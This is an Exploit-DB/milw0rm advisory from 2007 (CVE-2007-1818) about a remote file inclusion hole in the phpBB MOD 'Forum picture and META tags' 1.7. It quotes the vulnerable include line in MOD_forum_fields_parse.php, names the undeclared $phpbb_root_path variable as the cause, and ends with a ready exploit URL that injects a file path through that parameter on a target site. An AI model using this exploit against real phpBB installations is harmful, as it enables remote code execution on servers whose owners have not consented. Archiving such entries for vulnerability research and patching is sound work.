phpBB MOD Forum picture and META tags 1.7 RFI Vulnerability

2007-03-30T00:00:00
ID EDB-ID:3613
Type exploitdb
Reporter bd0rk
Modified 2007-03-30T00:00:00

Description

phpBB MOD Forum picture and META tags 1.7 RFI Vulnerability. CVE-2007-1818. Webapps exploit for php platform

                                        
                                            Exploitname: phpBB Module Forum picture and META tags 1.7 File Include Vulnerability

Vendor: http://www.rfnnet.nl/downloads/phpbb/MOD_Forum_picture_and_META_tags.zip

Founder: bd0rk

Contact: bd0rk[at]hackermail.com

Greetings: str0ke, TheJT, Lu7k, CodeR

Vulnerable in MOD_forum_fields_parse.php: include($phpbb_root_path . 'MOD_forum_fields_default.php');

#$phpbb_root_path is not declared!



[+]Exploit: http://[target]/[module_path]/MOD_forum_fields_parse.php?phpbb_root_path=FILE  

# milw0rm.com [2007-03-30]